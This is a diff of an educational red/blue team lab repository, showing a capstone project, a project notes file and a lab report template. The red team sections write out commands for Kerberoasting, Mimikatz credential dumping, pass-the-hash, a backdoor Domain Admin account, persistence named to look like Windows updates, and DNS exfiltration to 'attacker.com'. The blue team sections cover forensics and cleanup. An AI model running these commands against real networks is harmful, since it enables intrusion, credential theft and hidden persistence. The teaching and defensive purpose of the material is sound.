**Kerberoasting Attack** (MOD5 techniques): + ```bash + # Request service tickets for cracking + impacket-GetUserSPNs 'apophis.local/itadmin:P@ssw0rd123' -dc-ip 10.10.4.10 -request + + # Crack TGS tickets + hashcat -m 13100 tgs_tickets.txt /usr/share/wordlists/rockyou.txt --force + ``` + +4. **BloodHound Enumeration** (Advanced): + ```bash + # Collect AD data + bloodhound-python -d apophis.local -u itadmin -p 'P@ssw0rd123' \ + -ns 10.10.4.10 -c all + + # Import into BloodHound GUI and analyze shortest path to Domain Admins + ``` + +**Deliverables**: +- [ ] Screenshot of successful lateral movement to WS02 +- [ ] CrackMapExec output showing access to multiple systems +- [ ] Kerberoast TGS tickets (if obtained) +- [ ] BloodHound attack path graph (screenshot) + +**Assessment Criteria** (20pts): +- Successful lateral movement to domain system (10pts) +- Use of multiple techniques (5pts) +- Active Directory enumeration completeness (5pts) + +--- + +### Attack Phase 5: Privilege Escalation & Persistence (20 Points) + +**Objective**: Escalate to Domain Admin and establish persistent access. + +**TTPs**: MITRE ATT&CK - TA0004 (Privilege Escalation), TA0003 (Persistence) +**Techniques**: T1068 (Exploitation for Privilege Escalation), T1136 (Create Account), T1547 (Boot/Logon Autostart) + +**Tasks**: + +1. **Mimikatz Credential Dumping** (WS02): + ```powershell + # On compromised WS02 system + mimikatz.exe + privilege::debug + sekurlsa::logonpasswords + lsadump::sam + lsadump::secrets + ``` + +2. **Pass-the-Hash to Domain Controller**: + ```bash + # Use captured NTLM hash to access DC01 + impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'apophis.local/Administrator@10.10.4.10' + ``` + +3. **Create Backdoor Domain Account**: + ```powershell + # On DC01 + net user backdoor P@ssw0rd123! /add /domain + net group "Domain Admins" backdoor /add /domain + net user backdoor + ``` + +4. **Scheduled Task Persistence** (WS02): + ```powershell + # Create scheduled task for Meterpreter callback + schtasks /create /tn "Windows Update Check" /tr "C:\Windows\Temp\update.exe" \ + /sc onlogon /ru SYSTEM /f + ``` + +5. **Registry Persistence** (Alternative): + ```powershell + # Add Run key + reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \ + /v SecurityUpdate /t REG_SZ /d "C:\Windows\Temp\update.exe" /f + ``` + +**Deliverables**: +- [ ] Screenshot of Mimikatz credential dump +- [ ] Proof of Domain Admin access (screenshot of `whoami /groups` on DC01) +- [ ] Backdoor account creation evidence +- [ ] Persistence mechanism documentation (scheduled task/registry) + +**Assessment Criteria** (20pts): +- Domain Admin privileges achieved (10pts) +- Credential dumping success (5pts) +- Persistence mechanisms installed (3pts) +- Stealth considerations documented (2pts) + +--- + +### Attack Phase 6: Data Exfiltration (10 Points) + +**Objective**: Locate and exfiltrate sensitive data. + +**TTPs**: MITRE ATT&CK - TA0010 (Exfiltration) +**Techniques**: T1041 (Exfiltration Over C2 Channel), T1048 (Exfiltration Over Alternative Protocol) + +**Tasks**: + +1. **Data Discovery**: + ```powershell + # Search for sensitive files + Get-ChildItem -Path C:\ -Include *.docx,*.xlsx,*.pdf -Recurse -ErrorAction SilentlyContinue | + Where-Object { $_.Length -lt 10MB } | + Select-Object FullName, Length + + # Search for "confidential" or "password" in file contents + findstr /si "password" C:\Users\*.txt C:\Users\*.docx + ``` + +2. **Exfiltration via HTTP**: + ```bash + # On Kali (setup listener) + sudo python3 -m http.server 8080 + + # On victim (download via curl/wget) + certutil -urlcache -f http://10.10.2.50:8080/file.zip C:\Windows\Temp\file.zip + ``` + +3. **DNS Exfiltration** (Stealth technique): + ```powershell + # Encode data in DNS queries (simulate) + $data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("SECRET_DATA")) + nslookup "$data.attacker.com" 10.10.2.50 + ``` + +4. **Simulate Intellectual Property Theft**: + ```powershell + # Create fake sensitive document on DC01 + echo "Apophis Networking - Proprietary Research Data" > C:\Shares\Research\IP_Data.txt + + # Compress and exfiltrate + Compress-Archive -Path C:\Shares\Research\* -DestinationPath C:\Windows\Temp\exfil.zip + # Transfer using Meterpreter 'download' command + ``` + +**Deliverables**: +- [ ] List of discovered sensitive files (screenshot) +- [ ] Screenshot of successful exfiltration +- [ ] Network capture showing exfiltration traffic (PCAP) +- [ ] Exfiltrated file samples (in `~/capstone/red_team/exfil/`) + +**Assessment Criteria** (10pts): +- Data discovery methodology (4pts) +- Successful exfiltration (4pts) +- Stealth techniques used (2pts) + +--- + +### Attack Phase 7: Red Team Reporting (10 Points) + +**Objective**: Document the attack chain for Blue Team analysis. + +**Tasks**: + +1. **Create Attack Timeline**: + - Document each phase with timestamps + - Include all commands executed + - Note which actions likely triggered alerts + +2. **MITRE ATT&CK Mapping**: + - Map each technique to ATT&CK framework + - Create coverage matrix (Tactics vs Techniques) + - Export for dashboard integration + +3. **Indicators of Compromise (IOCs)**: + - File paths created: `C:\Windows\Temp\update.exe` + - Registry keys modified: `HKLM\...\Run\SecurityUpdate` + - Network connections: `10.10.2.50:4444` (Meterpreter) + - User accounts created: `backdoor` + - Scheduled tasks: `Windows Update Check` + +4. **Red Team Report Structure**: + ```markdown + # Red Team Report: Operation Serpent's Shadow + + ## Executive Summary + - Attack duration: X hours + - Systems compromised: 5/5 (100%) + - Privileges gained: Domain Admin + - Data exfiltrated: XX MB + + ## Attack Chain + [Phase 1] External Recon → [Phase 2] Initial Access (FILE01) → + [Phase 3] Credential Harvesting → [Phase 4] Lateral Movement (WS02) → + [Phase 5] Domain Admin (DC01) + Persistence → [Phase 6] Data Exfiltration + + ## Techniques Used + [MITRE ATT&CK mapping table] + + ## Indicators of Compromise + [IOC list] + + ## Detection Gaps Identified + [Where Blue Team should have caught you] + ``` + +**Deliverables**: +- [ ] Complete Red Team report (PDF format) +- [ ] MITRE ATT&CK Navigator JSON file +- [ ] IOC list (CSV format) +- [ ] Complete command log from `script` session + +**Assessment Criteria** (10pts): +- Report completeness and professionalism (5pts) +- Accurate MITRE ATT&CK mapping (3pts) +- Comprehensive IOC documentation (2pts) + +--- + +## PHASE 2: BLUE TEAM OPERATION (100 Points) + +### Pre-Investigation Checklist + +Before starting the Blue Team phase: + +1. **Preserve Evidence**: + - Create forensic snapshots of all compromised VMs + - Copy Security Onion logs: `/nsm/sensor_data/` + - Export SIEM data from Kibana (last 24 hours) + +2. **Establish Blue Team Workspace**: + ```bash + mkdir -p ~/capstone/blue_team/{forensics,pcaps,logs,reports,timeline} + script ~/capstone/blue_team/logs/investigation_$(date +%Y%m%d_%H%M%S).log + ``` + +3. **Review Red Team Report** (IOCs only - not methodology yet): + - Extract IOC list to use as detection baseline + - Do NOT review attack methodology - simulate real-world blind investigation + +--- + +### Investigation Phase 1: Detection & Triage (15 Points) + +**Objective**: Identify security alerts and determine scope of compromise. + +**Tasks**: + +1. **SIEM Alert Review** (Security Onion Kibana): + ```kql + # High severity alerts in last 24 hours + event.severity: high OR event.severity: critical + | stats count by rule.name, source.ip, destination.ip + + # Suspicious network connections to VLAN 200 + destination.ip: 10.10.2.* AND event.category: network + + # Authentication anomalies + event.category: authentication AND event.outcome: failure + | stats count by user.name, source.ip + ``` + +2. **Suricata Alert Analysis**: + ```bash + # Review IDS alerts + sudo cat /var/log/suricata/fast.log | grep -E "ET|MALWARE|EXPLOIT" + + # Extract unique alert signatures + jq -r '.alert.signature' /var/log/suricata/eve.json | sort -u + ``` + +3. **Zeek Log Analysis**: + ```bash + # Identify unusual connections + zeek-cut id.orig_h id.resp_h id.resp_p proto < /nsm/zeek/logs/current/conn.log | + sort | uniq -c | sort -rn | head -20 + + # DNS queries to suspicious domains + zeek-cut query answers < /nsm/zeek/logs/current/dns.log | grep -v ".local" + ``` + +4. **Initial Hypothesis**: + - Document which systems appear compromised + - Identify likely attack entry point + - Estimate timeline of initial compromise + +**Deliverables**: +- [ ] Top 10 critical alerts (screenshot) +- [ ] Network connection matrix (source → dest mapping) +- [ ] Initial incident triage report (1-2 pages) + +**Assessment Criteria** (15pts): +- Alert prioritization and triage (7pts) +- Correct identification of compromised systems (5pts) +- Timeline accuracy (3pts) + +--- + +### Investigation Phase 2: Network Forensics (15 Points) + +**Objective**: Analyze network traffic to reconstruct attack activities. + +**Tasks**: + +1. **PCAP Analysis** (Wireshark): + ```bash + # Export suspicious traffic from Security Onion + sudo tcpdump -r /nsm/sensor_data/securityonion-eth1/dailylogs/*.pcap \ + 'host 10.10.2.50 or host 10.10.4.40' \ + -w ~/capstone/blue_team/pcaps/attack_traffic.pcap + ``` + +2. **Identify C2 Communication**: + - Filter for connections to Kali (10.10.2.50) + - Look for Meterpreter beacons (TCP 4444, HTTP reverse shells) + - Identify exfiltration channels + +3. **Extract Artifacts from PCAP**: + ```bash + # Export HTTP objects (potential exfil data) + tshark -r attack_traffic.pcap --export-objects http,/tmp/http_objects/ + + # SMB file transfers + tshark -r attack_traffic.pcap -Y "smb2.cmd == 0x0009" -T fields \ + -e frame.time -e ip.src -e ip.dst -e smb2.filename + ``` + +4. **Protocol Analysis**: + - Document SMB sessions (lateral movement) + - Kerberos TGT/TGS requests (Kerberoasting) + - DNS queries (potential DNS tunneling) + - HTTP POST requests (data exfiltration) + +**Deliverables**: +- [ ] Annotated PCAP with attack traffic highlighted +- [ ] Screenshot of C2 communication in Wireshark +- [ ] Extracted artifacts (HTTP objects, SMB files) +- [ ] Network forensics report (protocol breakdown) + +**Assessment Criteria** (15pts): +- Correct identification of attack traffic (7pts) +- C2 channel analysis (5pts) +- Artifact extraction completeness (3pts) + +--- + +### Investigation Phase 3: Host Forensics (20 Points) + +**Objective**: Perform disk and memory forensics on compromised systems. + +**Tasks**: + +1. **Disk Forensics with Autopsy** (FILE01 - Initial Access Point): + ```bash + # Create disk image + sudo dd if=/dev/sda of=~/capstone/blue_team/forensics/file01.dd bs=4M status=progress + + # Import into Autopsy and analyze: + # - Timeline of file modifications + # - Deleted files recovery + # - Web history / bash history + # - Malware artifacts + ``` + +2. **Memory Forensics with Volatility** (WS02 - Lateral Movement Target): + ```bash + # Capture memory dump (from Proxmox or use FTK Imager) + # Analyze with Volatility 3 + + python3 vol.py -f ws02_memory.raw windows.info + python3 vol.py -f ws02_memory.raw windows.pslist + python3 vol.py -f ws02_memory.raw windows.netscan + python3 vol.py -f ws02_memory.raw windows.malfind + python3 vol.py -f ws02_memory.raw windows.dumpfiles --pid + ``` + +3. **Windows Event Log Analysis** (DC01): + ```powershell + # Security event logs (authentication) + Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624 or EventID=4625 or EventID=4672]]" | + Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-24) } | + Select-Object TimeCreated, Id, Message + + # Logon events (type 3 = network, type 10 = remote interactive) + Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | + Where-Object { $_.Properties[8].Value -eq 3 -or $_.Properties[8].Value -eq 10 } + + # Account creation events + Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720} + ``` + +4. **Registry Forensics** (Persistence Mechanisms): + ```powershell + # Check Run keys + Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" + + # Scheduled tasks + Get-ScheduledTask | Where-Object { $_.Principal.UserId -eq "SYSTEM" } | + Select-Object TaskName, TaskPath, Date + + # Services + Get-Service | Where-Object { $_.StartType -eq "Automatic" -and $_.Status -eq "Running" } + ``` + +**Deliverables**: +- [ ] Autopsy case report with timeline +- [ ] Volatility analysis results (processes, network connections) +- [ ] Windows Event Log summary (authentication anomalies) +- [ ] Registry forensics findings (persistence mechanisms) + +**Assessment Criteria** (20pts): +- Disk forensics completeness (7pts) +- Memory forensics quality (7pts) +- Event log analysis (4pts) +- Persistence mechanism identification (2pts) + +--- + +### Investigation Phase 4: Incident Response (NIST PICERL) (20 Points) + +**Objective**: Execute full incident response lifecycle. + +**NIST PICERL Framework**: +1. **Preparation** (Already completed - lab setup) +2. **Identification** (Completed in Phase 1) +3. **Containment** (Short-term and Long-term) +4. **Eradication** (Remove attacker presence) +5. **Recovery** (Restore services) +6. **Lessons Learned** (Post-incident review) + +**Tasks**: + +1. **Containment Actions**: + ```bash + # Short-term: Isolate compromised systems + # On pfSense, block Kali IP + pfctl -t blocklist -T add 10.10.2.50 + + # Disable backdoor account + net user backdoor /active:no + + # Kill suspicious processes (on WS02) + Get-Process | Where-Object { $_.Path -like "*\Temp\*" } | Stop-Process -Force + ``` + +2. **Eradication**: + ```powershell + # Remove malware artifacts + Remove-Item "C:\Windows\Temp\update.exe" -Force + + # Remove persistence mechanisms + schtasks /delete /tn "Windows Update Check" /f + reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /f + + # Delete backdoor account + net user backdoor /delete /domain + + # Reset compromised accounts + net user itadmin NewP@ssw0rd123! /domain + ``` + +3. **Recovery**: + ```powershell + # Restore from clean snapshots (if available) + # Rebuild compromised systems + + # Verify AD integrity + dcdiag /v > dcdiag_output.txt + repadmin /replsummary + + # Reset Kerberos keys + ksetup /setenctypeattr apophis.local AES256-CTS-HMAC-SHA1-96 + ``` + +4. **Hardening Recommendations**: + - Enable LSASS protection: `Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1` + - Implement tiered admin model + - Deploy EDR solution (simulate with Sysmon) + - Update firewall rules (segment VLANs further) + +**Deliverables**: +- [ ] Containment action log (timestamped) +- [ ] Eradication checklist (completed tasks) +- [ ] System recovery documentation +- [ ] Hardening recommendations report (5+ actionable items) + +**Assessment Criteria** (20pts): +- Proper NIST PICERL execution (10pts) +- Completeness of eradication (5pts) +- Quality of hardening recommendations (5pts) + +--- + +### Investigation Phase 5: Threat Intelligence & Attribution (15 Points) + +**Objective**: Map attack to MITRE ATT&CK and perform threat actor profiling. + +**Tasks**: + +1. **MITRE ATT&CK Mapping**: + - Create spreadsheet mapping observed TTPs to ATT&CK techniques + - Use ATT&CK Navigator to visualize coverage + - Identify gaps in detection coverage + +2. **Threat Actor Profiling**: + ```markdown + # Threat Actor: SERPENT SYNDICATE (Simulated APT) + + **Sophistication Level**: Advanced + + **Observed TTPs**: + - Initial Access: T1190 (Exploit Public-Facing Application) + - Credential Access: T1003 (OS Credential Dumping) + - Lateral Movement: T1021.002 (SMB/Windows Admin Shares) + - Persistence: T1136 (Create Account), T1053 (Scheduled Task) + - Exfiltration: T1041 (C2 Channel) + + **Tools Used**: + - Metasploit Framework + - Impacket suite + - Mimikatz + - Custom PowerShell scripts + + **Targeting**: Intellectual property theft, persistent access + + **Comparison**: Similar to APT29 (Cozy Bear) - use of living-off-the-land techniques + ``` + +3. **IOC Generation for Threat Intelligence Platforms**: + ```csv + indicator,type,severity,context + 10.10.2.50,ipv4,high,C2 Server + update.exe,filename,critical,Persistent malware + backdoor,username,critical,Rogue domain account + "Windows Update Check",scheduled_task,high,Persistence mechanism + C:\Windows\Temp\*,filepath,medium,Malware staging directory + ``` + +4. **Dashboard Integration** (MOD8 Link): + - Export MITRE heatmap JSON to `dashboard/src/data/live/mitre_coverage.json` + - Update threat feed with real IOCs + - Visualize attack timeline in Incident Tracker component + +**Deliverables**: +- [ ] MITRE ATT&CK Navigator layer file (JSON) +- [ ] Threat actor profile report (2-3 pages) +- [ ] IOC list in STIX format (or CSV) +- [ ] Dashboard integration (screenshot of updated heatmap) + +**Assessment Criteria** (15pts): +- Accurate MITRE ATT&CK mapping (7pts) +- Threat actor profiling quality (5pts) +- IOC quality and completeness (3pts) + +--- + +### Investigation Phase 6: Final IR Report (15 Points) + +**Objective**: Create comprehensive incident response report for executive leadership. + +**Report Structure** (Use `LAB_REPORT_TEMPLATE.md` as base): + +```markdown +# Incident Response Report: Operation Serpent's Shadow +## Security Incident #2026-001 + +**Classification**: CONFIDENTIAL +**Date**: [Current Date] +**Incident Handler**: [Your Name] +**Severity**: CRITICAL + +--- + +## Executive Summary (1 page) +- **What Happened**: Brief overview of the incident +- **Impact**: Systems compromised, data exfiltrated +- **Root Cause**: Unpatched vsftpd vulnerability on legacy server +- **Remediation Status**: All threats eradicated, systems hardened +- **Recommendation**: Decommission FILE01, implement vulnerability management program + +--- + +## Incident Timeline (2-3 pages) +| Timestamp | Event | System | Action | +|-----------|-------|--------|--------| +| 2026-02-10 14:23 | Initial scan detected | FILE01 | Suricata alert fired | +| 2026-02-10 14:45 | vsftpd exploit successful | FILE01 | Attacker gained shell | +| ... | ... | ... | ... | + +--- + +## Technical Analysis (5-7 pages) + +### Attack Chain +[Detailed walkthrough of each attack phase] + +### Network Forensics +[PCAP analysis findings] + +### Host Forensics +[Autopsy/Volatility findings] + +### MITRE ATT&CK Mapping +[Table of techniques used] + +--- + +## Indicators of Compromise (1 page) +[Complete IOC list] + +--- + +## Response Actions (2-3 pages) + +### Containment +[What was done to stop the attack] + +### Eradication +[How threats were removed] + +### Recovery +[How systems were restored] + +--- + +## Lessons Learned (2 pages) + +### What Went Well +- IDS detected initial scanning activity +- Log retention allowed full forensic analysis + +### What Could Be Improved +- Delayed response to initial alerts (simulated) +- Legacy system not in patch management program +- No EDR on endpoints + +### Recommendations +1. Implement 24/7 SOC monitoring +2. Deploy EDR across all endpoints +3. Decommission Metasploitable 2 (FILE01) +4. Conduct quarterly red team exercises +5. Implement tiered admin model + +--- + +## Appendices +- Appendix A: Complete IOC List +- Appendix B: MITRE ATT&CK Navigator JSON +- Appendix C: Network Topology Diagram +- Appendix D: Forensic Evidence Inventory +``` + +**Deliverables**: +- [ ] Final IR report (PDF, 15-20 pages) +- [ ] Executive briefing (PowerPoint, 5-7 slides) +- [ ] Complete evidence package (ZIP archive) +- [ ] Post-incident review presentation + +**Assessment Criteria** (15pts): +- Report professionalism and completeness (7pts) +- Technical accuracy (5pts) +- Actionable recommendations (3pts) + +--- + +## Final Deliverables Checklist + +### Red Team Package (50 Points) +- [ ] Attack command logs (`script` output) +- [ ] Screenshots (minimum 15) +- [ ] Red Team report (PDF) +- [ ] MITRE ATT&CK Navigator JSON +- [ ] IOC list (CSV) +- [ ] Exfiltrated data samples + +### Blue Team Package (50 Points) +- [ ] Investigation logs +- [ ] Forensic images (disk + memory) +- [ ] PCAP files with annotations +- [ ] Incident Response report (PDF) +- [ ] Executive briefing (PPTX) +- [ ] Remediation documentation +- [ ] Dashboard integration (screenshots) + +### Submission Format +Create ZIP archive: `CAPSTONE_YourName_OperationSerpentsShadow.zip` + +``` +CAPSTONE_YourName_OperationSerpentsShadow/ +├── 01_Red_Team/ +│ ├── logs/ +│ ├── screenshots/ +│ ├── loot/ +│ ├── exfil/ +│ ├── RedTeam_Report.pdf +│ └── MITRE_ATT&CK_Layer.json +├── 02_Blue_Team/ +│ ├── forensics/ +│ ├── pcaps/ +│ ├── logs/ +│ ├── IR_Report.pdf +│ ├── Executive_Briefing.pptx +│ └── Remediation_Plan.md +└── README.md (submission summary) +``` + +--- + +## Assessment Rubric + +### Red Team Assessment (100 Points) + +| Phase | Criteria | Points | +|-------|----------|--------| +| Phase 1: Recon | Service enumeration completeness | 10 | +| Phase 2: Initial Access | Successful exploitation | 15 | +| Phase 3: Credential Access | Multiple credential sources | 15 | +| Phase 4: Lateral Movement | Domain system compromise | 20 | +| Phase 5: Privilege Escalation | Domain Admin achieved | 20 | +| Phase 6: Exfiltration | Data extraction success | 10 | +| Phase 7: Reporting | Documentation quality | 10 | + +### Blue Team Assessment (100 Points) + +| Phase | Criteria | Points | +|-------|----------|--------| +| Phase 1: Detection | Alert triage accuracy | 15 | +| Phase 2: Network Forensics | PCAP analysis quality | 15 | +| Phase 3: Host Forensics | Disk/memory analysis | 20 | +| Phase 4: Incident Response | NIST PICERL execution | 20 | +| Phase 5: Threat Intelligence | MITRE ATT&CK mapping | 15 | +| Phase 6: Final Report | Professional documentation | 15 | + +### Total: 200 Points + +**Grading Scale**: +- 180-200: Exceptional (A) +- 160-179: Excellent (B) +- 140-159: Good (C) +- Below 140: Needs Improvement (Resubmit) + +--- + +## Additional Resources + +### Recommended Reading +- MITRE ATT&CK Framework: https://attack.mitre.org +- NIST SP 800-61r2 (Incident Response Guide) +- SANS Incident Response Poster +- Red Team Field Manual (RTFM) +- Blue Team Field Manual (BTFM) + +### Tools Reference +- **Red Team**: Metasploit, Impacket, Mimikatz, BloodHound, CrackMapExec +- **Blue Team**: Volatility 3, Autopsy, Wireshark, Zeek, Suricata, KQL + +### Dashboard Integration +- Export MITRE coverage: `dashboard/src/data/live/mitre_coverage.json` +- Update threat feed: `dashboard/src/data/live/threat_feed.json` +- Timeline visualization: Use `Recharts` LineChart component + +--- + +## Post-Capstone Next Steps + +After completing this capstone: + +1. **Rebuild Lab Environment**: Reset all VMs to clean state +2. **Apply Hardening**: Implement your own remediation recommendations +3. **Re-Attack**: Attempt the same attack chain - what changed? +4. **Advanced Scenarios**: Try different attack paths (web app → AD, phishing simulation) +5. **Contribute to Dashboard**: Add real detection logic to React components + +--- + +## Academic Integrity Statement + +This capstone represents your own work and understanding of offensive and defensive security operations. You may use: +- Official tool documentation +- MITRE ATT&CK knowledge base +- Course module materials (MOD0-MOD8) + +You may NOT: +- Copy attack scripts without understanding them +- Use automated red team frameworks (Cobalt Strike, Covenant) - manual techniques only +- Plagiarize reports from online sources + +**Authorized Use Only**: These techniques are for educational purposes in a controlled lab environment. Unauthorized use against systems you do not own or have explicit permission to test is illegal. + +--- + +## Contact & Support + +For technical issues: +- Review module materials (MOD0-MOD8) +- Check `LAB_REPORT_TEMPLATE.md` for report formatting +- Consult `ASSESSMENT_RUBRICS.md` for grading criteria + +**Good luck, and remember**: "Order from Chaos" 🐍 + +--- + +**END OF CAPSTONE PROJECT** diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..3313126 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,34 @@ +# Apophis Security Lab + +## Project +Red/Blue team home lab with React SOC dashboard. Educational cybersecurity curriculum. + +## Dashboard Stack +- **Tech**: React 19, Vite 7, Tailwind CSS v4, Recharts, date-fns +- **Dev**: `cd dashboard && npm run dev` → localhost:5173 +- **Paths**: `dashboard/src/components/*.jsx`, `dashboard/src/data/mockData.js` + +## Brand (Apophis Networking) +- **Files**: `brandguidelines.md`, `logo.png` (crimson serpent shield) +- **Style**: Tech-Noir, dark backgrounds, sharp corners +- **Rule**: ⚠️ **NEVER use `border-radius`** - 0px only (sharp edges) +- **Colors**: See `brandguidelines.md` for hex values +- **Tailwind**: `ap-red`, `ap-black`, `ap-dark`, `ap-panel`, `ap-silver`, `ap-blue`, `ap-green`, `ap-yellow`, `ap-orange` + +## Components + +| Component | Purpose | +|-----------|---------| +| `Header.jsx` | Logo, clock, threat level | +| `ThreatFeed.jsx` | Live alert stream | +| `NetworkTraffic.jsx` | Area chart (in/out/blocked) | +| `SystemHealth.jsx` | System status cards | +| `MitreHeatmap.jsx` | ATT&CK coverage grid | +| `TopThreats.jsx` | Top attacker IPs table | +| `IncidentTracker.jsx` | IR pipeline tracker | +| `VulnSummary.jsx` | Vulnerability donut chart | + +## Conventions +- **Data**: All mock/simulated (no backend yet) +- **CSS**: Use `.panel`, `.panel-header` classes +- **Severity**: `critical`, `high`, `medium`, `low`, `info` diff --git a/LAB_REPORT_TEMPLATE.md b/LAB_REPORT_TEMPLATE.md new file mode 100644 index 0000000..279cde3 --- /dev/null +++ b/LAB_REPORT_TEMPLATE.md @@ -0,0 +1,310 @@ +# LAB REPORT TEMPLATE +# Apophis Networking Security Lab + +**Student Name:** ___________________________ +**Module Number:** ___________________________ +**Lab Title:** ___________________________ +**Date Submitted:** ___________________________ + +--- + +## 1. EXECUTIVE SUMMARY (1 paragraph) + +Provide a high-level overview of the lab objectives, key findings, and outcomes. This should be understandable by non-technical stakeholders. + +**Example:** +> This lab focused on exploiting the vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) on a Metasploitable 2 target system. The exploitation was successful, resulting in root-level access to the target. Post-exploitation activities included credential harvesting and persistence establishment. This exercise demonstrated the critical importance of patch management and network segmentation in preventing unauthorized access. + +--- + +## 2. OBJECTIVES + +List the specific learning objectives for this lab. + +**Example:** +- Configure and execute Metasploit Framework exploits +- Understand the mechanics of reverse shell payloads +- Perform post-exploitation enumeration +- Document exploitation chains for penetration testing reports + +--- + +## 3. TOOLS & ENVIRONMENT + +### 3.1 Attack Platform +- **OS:** Kali Linux 2024.1 +- **IP Address:** 10.10.2.50 +- **Tools Used:** + - Metasploit Framework v6.3.x + - Nmap 7.94 + - Wireshark 4.0.x + +### 3.2 Target System +- **OS:** Metasploitable 2 (Ubuntu 8.04) +- **IP Address:** 10.10.4.10 +- **Vulnerable Services:** + - vsftpd 2.3.4 (Port 21) + - OpenSSH 4.7p1 (Port 22) + - Apache 2.2.8 (Port 80) + +### 3.3 Network Topology +``` +[Kali Linux] [pfSense Firewall] [Metasploitable 2] +10.10.2.50 <---> 10.10.2.1 | 10.10.4.1 <---> 10.10.4.10 + VLAN 200 VLAN 400 + (Red Team) (Victim Network) +``` + +--- + +## 4. METHODOLOGY + +Describe the step-by-step process followed during the lab. Use numbered steps and include relevant commands. + +### 4.1 Pre-Exploitation: Reconnaissance + +**Step 1: Host Discovery** +```bash +nmap -sn 10.10.4.0/24 +``` +**Output:** +``` +Nmap scan report for 10.10.4.10 +Host is up (0.00042s latency). +``` + +**Step 2: Port Scanning** +```bash +sudo nmap -sS -sV -p- 10.10.4.10 -oA full_scan +``` +**Output:** +``` +PORT STATE SERVICE VERSION +21/tcp open ftp vsftpd 2.3.4 +22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 +... +``` + +**Analysis:** vsftpd 2.3.4 identified—known to contain backdoor vulnerability (CVE-2011-2523). + +### 4.2 Exploitation + +**Step 3: Launch Metasploit** +```bash +msfconsole -q +``` + +**Step 4: Select Exploit Module** +```bash +msf6 > use exploit/unix/ftp/vsftpd_234_backdoor +msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.4.10 +msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit +``` + +**Output:** +``` +[*] 10.10.4.10:21 - Banner: 220 (vsFTPd 2.3.4) +[*] 10.10.4.10:6200 - Shell command shell session 1 opened +``` + +**Result:** Successful exploitation. Root shell obtained. + +### 4.3 Post-Exploitation + +**Step 5: Verify Access** +```bash +id +``` +**Output:** +``` +uid=0(root) gid=0(root) +``` + +**Step 6: Credential Harvesting** +```bash +cat /etc/shadow +``` +**Output:** (Include first 3 lines only for report) +``` +root:$1$XjpI2OBz$...:0:0:root:/root:/bin/bash +daemon:*:14684:0:99999:7::: +... +``` + +--- + +## 5. FINDINGS & ANALYSIS + +### 5.1 Key Discoveries + +**Vulnerability Identified:** +- **CVE:** CVE-2011-2523 +- **Severity:** Critical (CVSS 10.0) +- **Description:** vsftpd 2.3.4 contains malicious backdoor code that opens shell access on port 6200 when username contains `:)` smiley face. +- **Exploitability:** Trivial—no authentication required. + +**Impact Assessment:** +- **Confidentiality:** HIGH—Full read access to all files including /etc/shadow +- **Integrity:** HIGH—Root access allows file modification +- **Availability:** HIGH—Attacker could delete files or crash system + +### 5.2 Network Traffic Analysis + +**Wireshark Observations:** +- TCP stream 1: FTP connection (port 21) with malicious username +- TCP stream 2: Shell session on port 6200 +- No encryption—all commands visible in plaintext + +**Screenshot:** [Include Wireshark screenshot showing backdoor traffic] + +--- + +## 6. INDICATORS OF COMPROMISE (IOCs) + +| Type | Value | Description | +|------|-------|-------------| +| IP Address | 10.10.2.50 | Attacker source IP | +| Port | 6200 | vsftpd backdoor listening port | +| Process | vsftpd | Spawned root shell (suspicious parent) | +| Network | TCP SYN to 6200 | Connection to non-standard FTP port | + +--- + +## 7. DEFENSIVE RECOMMENDATIONS + +### 7.1 Immediate Actions +1. **Patch vsftpd:** Upgrade to version 3.0.5 or disable service if not needed +2. **Network Segmentation:** Block victim network from initiating connections to Red Team VLAN +3. **IDS Rule:** Deploy Suricata signature for port 6200 connections + +### 7.2 Long-Term Improvements +1. **Vulnerability Management:** Implement automated scanning (weekly) +2. **Patch Management:** Establish SLA for critical patches (24-48 hours) +3. **Firewall Rules:** Default-deny egress from victim network +4. **Security Monitoring:** Alert on connections to non-standard ports + +--- + +## 8. DETECTION ENGINEERING + +### 8.1 Suricata Rule +``` +alert tcp any any -> any 6200 (msg:"vsftpd 2.3.4 Backdoor Connection"; flow:established,to_server; sid:1000050; rev:1;) +``` + +### 8.2 Security Onion Query (KQL) +``` +destination.port: 6200 AND event.module: "suricata" +``` + +### 8.3 MITRE ATT&CK Mapping +- **Tactic:** Initial Access (TA0001) +- **Technique:** T1190 - Exploit Public-Facing Application +- **Sub-Technique:** FTP Service Exploitation + +--- + +## 9. CHALLENGES & TROUBLESHOOTING + +**Challenge 1:** Initial exploit failed with "connection refused" + +**Root Cause:** VLAN tag not set correctly on VM network interface in Proxmox. + +**Solution:** +```bash +# Proxmox VM > Hardware > Network Device > Edit +# VLAN Tag: 400 (was blank) +``` + +**Challenge 2:** Wireshark showed no captured packets + +**Root Cause:** Capturing on wrong interface (wlan0 instead of eth0). + +**Solution:** +```bash +sudo tcpdump -i eth0 # Verify interface has traffic +sudo wireshark -i eth0 +``` + +--- + +## 10. LESSONS LEARNED + +### What Went Well +- Successful identification and exploitation of vulnerability +- Comprehensive documentation with screenshots +- Effective use of network segmentation for safe testing + +### What Could Be Improved +- Faster troubleshooting (spent 30 minutes on VLAN issue) +- More thorough initial reconnaissance (missed some services) +- Should have taken VM snapshot before exploitation + +### Key Takeaways +1. **Offensive Perspective:** Outdated software is trivially exploitable—attackers have automated scanners for this. +2. **Defensive Perspective:** One unpatched service can compromise entire network. Defense-in-depth is critical. +3. **Forensics Importance:** Without packet capture, proving the attack vector would be difficult in IR scenario. + +--- + +## 11. APPENDICES + +### Appendix A: Command History +```bash +# Full command history from Kali 